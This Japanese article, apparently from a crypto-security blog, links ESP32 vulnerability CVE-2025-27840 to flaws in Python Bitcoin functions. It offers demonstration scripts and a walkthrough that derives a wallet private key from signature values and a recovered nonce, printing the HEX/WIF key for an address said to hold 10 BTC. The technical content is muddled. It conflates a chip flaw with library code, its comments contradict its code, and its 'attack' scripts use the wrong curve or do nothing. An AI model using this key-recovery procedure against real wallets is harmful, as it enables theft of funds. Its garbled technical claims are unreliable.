demining/bluetooth-attacks-cve-2025-27840ビットコイン暗号解析：CVE-2025-27840 ESP32マイクロコントローラの脆弱性がWi-Fi & Bluetooth経由で数十億のIoTデバイスを危険にさらす
本稿では、攻撃者がモジュールアップデートを介して隠された脆弱性リストを導入し、ESP32デバイスを危険にさらし、秘密鍵への不正アクセスを取得する方法について説明します。これにより、このマイクロコントローラを使用する数十億のデバイスが影響を受けます。主要な問題の一つは、ESP32アーキテクチャで発見されたCVE-2025-27840脆弱性です。ビットコインネットワークのセキュリティを確保するために、以下の脆弱性を特定しました。関数has_invalid_privkeyにおける下限チェック欠如による無効な秘密鍵の使用可能性、関数electrum_sig_hashにおけるBIP-137非互換性によるトランザクション署名偽造の脆弱性、弱いPRNG問題（鍵生成関数random_keyにより、暗号通貨ウォレットの個人秘密鍵が予測可能になる）、関数multiplyにおけるECC曲線上の点の検証欠如（無効な曲線攻撃につながる可能性）、関数ecdsa_raw_signにおけるY座標復元時の脆弱性（公開鍵の置換につながる可能性）、およびbin_ripemd160における非推奨のハッシュAPIに関連する脆弱性です。
2025年3月初旬、Tarlogic Securityは、WiFiおよびBluetoothを介したデバイス接続に広く使用されているESP32マイクロコントローラに脆弱性を特定しました。この脆弱性は番号CVE-2025-27840で登録されました。攻撃者は、ESP32チップを、ビットコインやイーサリアムなどの人気暗号通貨のネットワーク上で動作するデバイスに対する暗号攻撃のポイントとして使用することで、ビットコインウォレットのデータに不正アクセスできます。この問題は、このマイクロコントローラを使用する数百万のIoTデバイスに影響を及ぼします。この脆弱性を悪用すると、攻撃者は正規ユーザーを装った攻撃を実行し、脆弱なデバイスに永続的に感染させることが可能になります。これは、ESP32マイクロコントローラベースのIoTデバイスのセキュリティを脅かし、ビットコインウォレットの秘密鍵の盗難につながる可能性があります。
ESP32は、IoTデバイスにWi-FiおよびBluetooth接続を提供するために広く使用されているマイクロコントローラです。攻撃者は、ESP32を介してビットコインウォレットの秘密鍵データにアクセスするために、さまざまな方法を使用する可能性があります。
ESP32マイクロコントローラに関連するセキュリティ上の脅威は、ビットコインウォレットの秘密鍵の盗難につながる可能性があります。主な問題には、バックドアや脆弱性の存在が含まれます。このような脆弱性を利用することで、メモリの操作、MACアドレスの偽装、悪意のあるコードの注入が可能になり、深刻なセキュリティリスクを生み出します。
攻撃者は、BluetoothおよびWi-Fi接続の脆弱性を利用して、ESP32マイクロコントローラを搭載したIoTデバイスを攻撃できます。これにより、ビットコイン関連ネットワーク上の他のデバイスを攻撃するためのツールとなる可能性があり、ビットコインウォレットの秘密鍵を含む機密情報を盗むことも可能です。
攻撃者はモジュールを更新し、コードにさまざまな脆弱性のリストを導入する可能性があります。これには以下が含まれます。
has_invalid_privkeyの脆弱性。秘密鍵の取得に使用される可能性があります。electrum_sig_hashの脆弱性。ビットコイントランザクション署名の偽造を可能にします。random_keyの脆弱性。弱い疑似乱数生成器（非決定論的PRNG）に関連します。multiplyの脆弱性。ECC曲線上の点のチェックがありません。ecdsa_raw_signおよびbin_ripemd160の脆弱性。これらの脆弱性は、ESP32デバイスに偽のアップデートを注入するために使用される可能性があり、攻撃者にシステムへの低レベルアクセスを提供します。これにより、コード監査の制御をバイパスし、秘密鍵へのアクセスを取得できるようになります。現在、アーキテクチャ内の単一コンポーネントの隠された機能により、CVE-2025-27840として指定されたこの脆弱性の影響を受けるデバイスは数十億に上る可能性があります。
has_invalid_privkey における秘密鍵取得の脆弱性この脆弱性はビットコインの秘密鍵検証コードで発見され、下限チェックの欠如により、無効な鍵（0以下）が使用される可能性があります。これは資金の損失につながる可能性があります。修正するには、秘密鍵が0より大きいことを確認するチェックを追加する必要があります。コードはデモンストレーション目的で提供されています。
このバグにより、不正な秘密鍵が使用される可能性があり、資金の損失を含む深刻な問題を引き起こす可能性があります。
修正するには、秘密鍵が0より大きいことを確認するチェックを追加する必要があります。
誰かがビットコインネットワークを「ハッキング」しようとしていると想像してください。彼らは、暗号通貨へのアクセスに使用される秘密鍵の検証に弱点を見つけます。
問題は、コードが秘密鍵が大きすぎるかどうかのみをチェックすることです。鍵が非常に大きい場合、拒否されます。しかし、コードは鍵が小さすぎる（0以下）かどうかのチェックを忘れています。
これが発生するコードセクション:
...
...if privkey >= N: #上限のみチェック下限が適切にチェックされていない
raise Exception("Invalid privkey")
if privkey <= 0: #
return True
...
...
このバグにより、無効な（非常に小さい）秘密鍵を使用することが可能です。この脆弱性は関数has_invalid_privkeyにあります。
これを機能させるには、ライブラリecdsa（暗号処理に必要）をインストールする必要があります:
Pythonスクリプト secp256k1_privkey_validator.py
!pip install ecdsa
import ecdsa
def has_invalid_privkey(privkey: int) -> bool:
"""
Checks if a private key is invalid, based on the absence of a lower bound check.
Args:
privkey: The private key to check.
Returns:
True if the private key is invalid (<= 0 or >= N), False otherwise.
"""
# Order of the secp256k1 elliptic curve used by Bitcoin
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
if privkey >= N: # Check only the upper bound
raise Exception("Invalid privkey")
if privkey <= 0: # Lower bound check missing
return True
return False
# Example usage
privkey = 0 # Invalid private key
is_invalid = has_invalid_privkey(privkey)
if is_invalid:
print("Invalid private key!")
else:
print("Valid private key.")
コードの説明:
ecdsaのインポート: この例では直接使用されていませんが、ビットコインとECDSA（楕円曲線デジタル署名アルゴリズム）を含む実際のシナリオでは、暗号操作を実行するためにこのライブラリが必要になる場合があります。has_invalid_privkey(privkey: int) -> bool:
privkeyで受け取ります。Nを定義します。privkeyがN以上かどうかをチェックします。その場合、秘密鍵が無効であることを示す例外を発生させます。privkeyが0以下かどうかをチェックします。その場合、下限チェックの欠如により秘密鍵が無効であることを示すTrueを返します。Falseを返します。privkey = 0に値を設定します。has_invalid_privkeyを呼び出してprivkeyをチェックします。脆弱性:
このコードには、秘密鍵の検証が不十分であるという脆弱性が含まれています。具体的には、下限チェック（privkey <= 0）がありません。これにより、無効な秘密鍵の使用が可能になり、資金の損失を含む予測不能な結果を引き起こす可能性があります。
修正方法:
秘密鍵が0より大きいことを確認するために、秘密鍵の下限チェックを追加する必要があります。
electrum_sig_hash におけるビットコイントランザクション署名偽造の脆弱性関数electrum_sig_hashはElectrumで非標準のメッセージハッシュ化メソッドを使用しており、BIP-137との非互換性により署名偽造攻撃に対して脆弱です。
ビットコインネットワークを標的とする攻撃者は、electrum_sig_hashを介してElectrumが使用する非標準のメッセージハッシュ化メソッドを発見する可能性があります。この関数は、BIP-137非互換性により署名偽造攻撃につながる可能性のある方法でメッセージハッシュを作成します。提供されているPythonスクリプトは、攻撃者がBIP-137非互換性の脆弱性を悪用するためにElectrumが使用するメッセージハッシュを生成する方法を示しています。関数electrum_sig_hashは、メッセージにプレフィックスを付け、長さをエンコードしてから、SHA256で二重ハッシュ化することにより、メッセージを準備します。
攻撃者がBIP-137非互換性のために署名偽造攻撃を実行するために、Electrumが使用する非標準のメッセージハッシュを見つける方法を示すPythonスクリプト。
Pythonスクリプト bitcoin_sign_hash.py
!pip install ecdsa
import hashlib
def num_to_var_int(i):
if i < 0xfd:
return i.to_bytes(1, 'little')
elif i <= 0xffff:
return b'\xfd' + i.to_bytes(2, 'little')
elif i <= 0xffffffff:
return b'\xfe' + i.to_bytes(4, 'little')
else:
return b'\xff' + i.to_bytes(8, 'little')
def from_string_to_bytes(s):
return s.encode('utf-8')
def bin_dbl_sha256(s):
hash1 = hashlib.sha256(s).digest()
hash2 = hashlib.sha256(hash1).digest()
return hash2
def electrum_sig_hash(message):
padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message)
return bin_dbl_sha256(padded)
# Usage example
message = "Example message for signing"
message_hash = electrum_sig_hash(message)
print(f"Electrum message hash: {message_hash.hex()}")
このスクリプトでは:
num_to_var_int(i): 整数をビットコインで使用される可変長形式に変換します。from_string_to_bytes(s): UTF-8エンコーディングを使用して文字列をバイトにエンコードします。bin_dbl_sha256(s): 入力に対して二重SHA256ハッシュ化を実行します。electrum_sig_hash(message): BIP-137非互換性の影響を受ける、Electrumの非標準的なメッセージハッシュ化方法をシミュレートします。random_key 弱いPRNG関数の脆弱性（非決定論的PRNG）ビットコインが鍵を作成するためにrandomモジュールに依存する関数random_keyを使用する場合、問題が発生します。randomモジュールは暗号目的には意図されておらず、十分にランダムな数を生成しないため、秘密鍵が攻撃者に予測可能になります。これにより、ビットコインネットワークが脆弱な状態になります。
random を secrets や os.urandom の代わりに使用することでビットコインネットワークを脆弱にし、秘密鍵がビットコイン攻撃者にとって予測可能となるPythonスクリプト:
Pythonスクリプト privkey_generate.py
import random
import time
from hashlib import sha256
def random_string(length):
return ''.join(random.choice('0123456789abcdef') for i in range(length))
def random_key():
# Gotta be secure after that java.SecureRandom fiasco...
entropy = random_string(32) \
+ str(random.randrange(2**256)) \
+ str(int(time.time() * 1000000))
return sha256(entropy.encode('utf-8')).hexdigest()
# Example usage: generate a private key
private_key = random_key()
print("Generated Private Key:", private_key)このスクリプトは random モジュールを使用して鍵を生成するため、脆弱性があります。random モジュールは暗号用途には適しておらず、十分にランダムな数値を生成しないからです。
より安全な鍵を作成するには、secrets モジュールまたは os.urandom を使用できます。以下は secrets モジュールを使用した例です:
import secrets
import hashlib
def secure_random_key():
# Generate a random number with enough entropy
random_bytes = secrets.token_bytes(32) # 32 bytes = 256 bits
# Hash the random bytes to create a private key
private_key = hashlib.sha256(random_bytes).hexdigest()
return private_key
# Example usage: generate a secure private key
secure_private_key = secure_random_key()
print("Generated Secure Private Key:", secure_private_key)この例では、secrets モジュールを使用して十分なエントロピーを持つ乱数を生成しています。その乱数をハッシュ化して秘密鍵を作成します。この方法は random モジュールを使用するよりもはるかに安全です。
ecdsa_raw_sign関数においてY座標を復元する際の脆弱性により、ビットコインネットワーク上で公開鍵のすり替えが発生する可能性があります。攻撃者が楕円曲線操作におけるY座標復元の特異性を悪用するリスクが高く、この曖昧さにより公開鍵が誤って復元される可能性があります。
pycryptodome ライブラリを使用したコード例は、Y座標を置き換えて異なる無効な公開鍵を取得するという状況をシミュレートする方法を示しています。このコード例は簡略化されており、攻撃の完全な実装ではなく、その原理を示すだけであることに注意してください。
攻撃者はビットコインネットワークにおけるY座標復元の曖昧さを悪用でき、公開鍵の復元エラーにつながる可能性があります。以下はビットごとのXOR演算を使用してこれを行う方法の例です。
Pythonスクリプト weak_key_recovery.py
!pip install pycryptodome
from hashlib import sha256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import secrets
# Elliptic curve parameters secp256k1
# PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve.
# Therefore, we will use the standard ECC curve.
# For production code, be careful when choosing the curve and its parameters.
def hash_to_int(msghash):
return int(sha256(msghash.encode('utf-8')).hexdigest(), 16)
def deterministic_generate_k(msghash, priv_key_int):
k = 0
while k == 0:
v = b'\x01' * 32
k = b'\x00' * 32
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant
return k
def ecdsa_raw_sign(msghash, priv_key_int):
z = hash_to_int(msghash)
k = deterministic_generate_k(msghash, priv_key_int)
# Generate private key object
key = ECC.construct(curve='P-256', d=priv_key_int)
# Calculate point R = kG
# PyCryptodome does not provide direct access to the coordinates of point R
# Therefore, the signature will be calculated in a different way, using DSS
# s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined
# v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y is not available
return key, z, k # Return the key, hash, and k for further use in signing
def recover_pubkey(msghash, signature, key):
# WARNING: This is a VERY SIMPLIFIED example of public key recovery.
# In real life, ECDSA public key recovery is a complex process.
# This code is intended only to demonstrate the principle.
# PyCryptodome does not have a simple way to recover PublicKey from r and s directly.
# This code does not perform real recovery, but creates a new PublicKey from the private key.
# In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey.
# But this requires a more complex logic to work with the elliptic curve. return key.public_key()def emulate_attack(msghash, priv): # 1. Sign the message priv_key_int = int(priv, 16) key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. Attempt to recover the public key (incorrectly) Q = recover_pubkey(msghash, signature, key) # 3. Simulate a situation where the Y coordinate is recovered incorrectly # In a real attack scenario, an attacker will try to iterate through different y-coordinates. # In this example, we simply change the x-coordinate slightly tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! Q_tampered = tampered_key.public_key() return Q, Q_tampered # Example usage msghash = "Message example" # Generate a random private key private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # Store private key as a hex string # Example usage Q, Q_tampered = emulate_attack(msghash, priv) print("Original Public Key:", Q) print("Tampered Public Key:", Q_tampered) print("Are the keys equal?", Q == Q_tampered)
このスクリプトは、Y座標を変更して無効な公開鍵を生成する方法を示しています。
これは単なる例であり、実際の攻撃ははるかに複雑になる可能性があることに注意してください。
上記のスクリプトに加えて、考慮すべき追加のポイントをいくつか示します:
ビットコインネットワーク上のレガシーハッシュAPIは、特にRIPEMD-160が存在しない場合、脆弱になる可能性があります。攻撃者は脆弱な実装を特定して悪用する可能性があり、最新の暗号ライブラリと定期的なセキュリティアップデートの重要性が浮き彫りになります。
ビットコインネットワーク上の攻撃者は、特に一部のシステムにRIPEMD-160の実装がない場合、レガシーハッシュAPIの脆弱性を発見する可能性があります。問題は bin_ripemd160 関数にあり、ハッシュ化に hashlib を使用しようとしますが、それが失敗した場合、独自の潜在的に弱い実装にフォールバックします。
提供されたPythonスクリプトは、攻撃者がビットコインノードでそのような弱いAPI実装をテストする方法を示しています。hashlib がRIPEMD-160をサポートしていない場合、簡略化された実装が使用され、ハッシュ衝突やその他の脆弱性につながる可能性があります。スクリプトはデータをハッシュ化し、弱い実装が使用されている場合に警告を出力することで攻撃をシミュレートします。
リスクには、トランザクション偽造の可能性やレガシーAPIの既知の脆弱性の悪用が含まれます。保護するには、最新でテスト済みの暗号ライブラリを使用し、ビットコインソフトウェアを定期的に更新し、暗号操作の出力を確認することをお勧めします。
ビットコイン攻撃者が非推奨のハッシュAPIを発見し、特定の環境でRIPEMD-160が実装されていない場合のリスクについて議論するPythonスクリプト:
Pythonスクリプト ripemd160_vulnerability.py
RIPEMD160 はRIPEMD160の実装をシミュレートします。実際にはRIPEMD160ハッシュアルゴリズムを実装する必要があります。デモンストレーション用に、ダミーハッシュを返します。bin_ripemd160(string):
check_for_weak_api(data):
bin_ripemd160 を呼び出してデータをハッシュ化します。if __name__ == "__main__": ブロック内で、サンプルデータを指定し、そのデータで check_for_weak_api を呼び出します。hashlib を使用して RIPEMD160 ハッシュを試みます。それが失敗した場合（特定の環境で hashlib が RIPEMD160 をサポートしていないため）、カスタム実装（この例では簡略化されたバージョン）にフォールバックします。multiply の脆弱性 — ECC カーブ上の点のチェック不足Bitcoin の関数 multiply には、ECC カーブ上の点に関する検証が不十分であるという潜在的な脆弱性があります。これにより、攻撃者は無効なカーブ攻撃を実行できる可能性がありますが、pycryptodome のような最新の暗号ライブラリはそのような悪用を困難にしています。この攻撃は、ヤコビアンカーブの操作を通じて可能であり、署名の偽造やネットワークの操作につながる可能性があります。
Bitcoin ネットワークでは、攻撃者は楕円曲線（ECC）上の点であるかどうかの完全なチェックが行われていない関数 multiply の脆弱性を見つける可能性があります。コードでは、非ゼロ点に対してのみチェックが行われており、これにより無効なカーブ攻撃 (invalid curve attacks) の可能性が生じます。
攻撃者のサンプルコードは、この脆弱性を悪用する方法を示しています。これは、カーブ上の点の信頼できるチェックを欠いた関数 multiply と、この弱点を悪用しようとする関数 invalid_curve_attack を示しています。このコードは、暗号操作のために pycryptodome ライブラリも使用しています。
pycryptodome は、組み込みのセキュリティメカニズムにより、このような攻撃を直接実行することを困難にしています。コードは、「不正な」カーブを作成して乗算を実行する方法を示していますが、これは安全ではなく、暗号に関する深い理解が必要であることが強調されています。
関数
multiplyの脆弱性を悪用することにより、攻撃者は無効なカーブ攻撃を実行して、Bitcoin ネットワーク上の秘密鍵を危険にさらす可能性があります。以下は、この攻撃を示すサンプル Python スクリプトです。
Python スクリプト ecdsa_curve_attack.py
!pip install pycryptodome
from Crypto.Hash import SHA256
from Crypto.Signature import DSS
from Crypto.PublicKey import ECC
from Crypto.Math import *
class Exploit:
def __init__(self):
self.msg = "ATTACK!"
self.hash = hash_msg(self.msg)
def sign_message(self, private_key):
signer = DSS.new(private_key, 'fips-186-3')
signature = signer.sign(self.hash)
return signature
def verify_signature(self, public_key, signature):
verifier = DSS.new(public_key, 'fips-186-3')
try:
verifier.verify(self.hash, signature)
return True
except ValueError:
return False
def hash_msg(msg):
hasher = SHA256.new(msg.encode('utf-8'))
return hasher.digest()
# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used)
# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS!
# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION!
curve = 'secp256r1' # Or another curve
# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply)
# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives.
def multiply(pubkey, privkey):
# WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE!
# IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS!
# Checking if the point is on the curve. In PyCryptodome, this is done automatically.
#Performing multiplication
result = privkey.d * pubkey.pointQ
return result
# Example of invalid curve attack (adapted for pycryptodome)
def invalid_curve_attack(public_key, malformed_curve_parameters):
# Creating a "wrong" curve (example!)
#malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'],
# malformed_curve_parameters['oid'],
# malformed_curve_parameters['field'],
# malformed_curve_parameters['a'],
# malformed_curve_parameters['b'],
# malformed_curve_parameters['generator'],
# malformed_curve_parameters['order'])
# Creating a public key on the "wrong" curve (example!)
#attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve)
# Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result)
コードの説明:
multiply は、点が無限遠点でない場合にのみ、その点が ECC カーブ上にあるかをチェックします。これにより、メインカーブ上ではなく、ツイストカーブ上にある点を使用できるようになります。invalid_curve_attack: この関数は、公開鍵と不正なカーブパラメータを受け取ります。不正なカーブ上に点を作成し、脆弱な関数 multiply を使用して乗算を実行します。Small Subgroup Attack の仕組み:
Q を選択します。Q を自分の公開鍵として偽装して被害者に送信します。nQ を計算します。ここで n は被害者の秘密鍵です。Q の位数が小さいため、nQ の可能な値の数は少なくなります。攻撃者はこれらすべての値を総当たりし、どれが暗号化データに対応するかを確認することで、Q の位数を法とした n を拡張できます。推奨事項:
RawTX 脆弱なトランザクションを SMALL SUBGROUP ATTACK サービス機能 を使用してデコードする
結果は、秘密鍵 Nonce の値 K を HEX 形式 で出力します
K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2脆弱な RawTX トランザクションから他のすべての値を取得するには、RSZ Signature Decoder サービス を使用します。
R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0
S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9
Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8式 priv_key = ((((S * K) - Z) * modinv(R, N)) % N) から秘密鍵の値 X を取得するには、ソフトウェア Dockeyhunt Private Key Calculator を使用します。
その結果、Xの秘密鍵をHEX形式で取得します。
X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34BitcoinChatGPTを起動しましょう
%run BitcoinChatGPTApply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency
最後に、BitcoinChatGPTモジュールは応答をファイル: KEYFOUND.privkeyに出力し、秘密鍵を最も使用される2つの形式HEX & WIFで保存します。
https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey
============================= KEYFOUND.privkey =============================
Private Key HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Private Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
Balance: 10.00000000 BTC
============================= KEYFOUND.privkey =============================コードを実装するために、Bitcoinパッケージをインストールします。このライブラリを使用すると、ウォレットの作成、ブロックチェーンとの対話、トランザクションの作成と署名、およびビットコイン暗号通貨のさまざまなアドレス形式と秘密鍵の操作が可能になります。
!pip3 install bitcoinビットコインアドレスの一致を確認するために コード を実行しましょう:
__________________________________________________
Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
total_received = 10.00000000 Bitcoin
__________________________________________________その通りです！秘密鍵はビットコインウォレットに対応しています。
ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
今日のデジタル環境では、デバイスとネットワークのセキュリティ保護は極めて重要です。本論文では、ESP32デバイスやビットコインなどの暗号通貨を扱うソフトウェアを含む、さまざまなコンポーネントで見つかった多数の脆弱性を分析します。秘密鍵検証コード、トランザクションハッシュ方式、ランダム鍵生成、ECC曲線ポイント検証、Y座標回復、レガシーハッシュAPIの欠陥を調査します。特に、攻撃者が偽のアップデートを注入し、システムへの低レベルアクセスを取得することを可能にする、ESP32マイクロコントローラのCVE-2025-27840脆弱性に注目します。コード監査の回避、秘密鍵へのアクセス、サプライチェーン攻撃の実行など、これらの脆弱性の潜在的な影響について議論します。本論文は、セキュリティを強化し潜在的な攻撃を防ぐための推奨事項で締めくくります。
CVE-2025-27840として特定された単一コンポーネントの隠れた設計上の欠陥により、現在、何十億ものデバイスが脆弱になっている可能性があります。この脆弱性により、攻撃者はMACアドレスを偽装し、デバイスメモリへの不正アクセスを取得し、Bluetoothを介した攻撃を実行できる可能性があります。
has_invalid_privkeyにおける秘密鍵導出の脆弱性 : ビットコイン秘密鍵の下限チェックの欠如により、無効な鍵（0以下）が使用される可能性があり、資金の損失につながる可能性があります。electrum_sig_hashにおけるビットコイントランザクション署名偽造の脆弱性 : Electrumが非標準のメッセージハッシュ方式を使用しているため、BIP-137との非互換性により署名偽造攻撃に対して脆弱になっています。random_key（鍵生成における弱いPRNG） : ビットコインネットワークでrandom鍵生成モジュールを使用すると、このモジュールは暗号目的を意図していないため、秘密鍵が攻撃者に予測可能になります。multiplyの脆弱性（ECC曲線ポイント検証の欠如） : ECC曲線上のポイントの検証が不十分だと、攻撃者が無効な曲線攻撃を行う可能性があり、署名の偽造やネットワーク操作につながる可能性があります。ecdsa_raw_signの脆弱性 : Y座標の誤った復元は、ビットコインネットワークでの公開鍵の置き換えにつながる可能性があります。bin_ripemd160 : 特にRIPEMD-160を欠いたレガシーハッシュAPIは攻撃に対して脆弱である可能性があり、最新の暗号ライブラリと定期的なセキュリティアップデートの重要性を強調しています。
random_keyやecdsa_raw_signなどの暗号関数の脆弱性を修正することで、ビットコインネットワーク全体のセキュリティが向上し、トランザクションや署名に対する潜在的な攻撃を防ぐことができます。本論文で提示された脆弱性の特定と分析は、デバイスとソフトウェアのセキュリティの継続的な監視と改善の必要性を強調しています。これらの脆弱性に対処することは、潜在的な攻撃や経済的損失を防ぐだけでなく、ユーザーの信頼構築やセキュリティ基準への準拠にも役立ちます。堅牢な保護メカニズムの実装と定期的なセキュリティ更新は、デジタルシステムの安全で信頼性の高い動作を確保するための鍵です。ESP32などのデバイスやネットワークにおけるセキュリティ向上の必要性はますます緊急になっています。
この資料は、金融データのセキュリティと楕円曲線暗号 secp256k1 上の脆弱な ECDSA 署名から BITCOIN 暗号通貨を保護するために、 CRYPTO DEEP TECH ポータル向けに作成されました。ソフトウェアの作成者は、資料の使用について一切の責任を負いません。
Telegram: https://t.me/cryptodeeptech
動画教材: https://youtu.be/nBeZWm2z5o4
ビデオチュートリアル: https://dzen.ru/video/watch/6784be61b09e46422395c236
出典: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks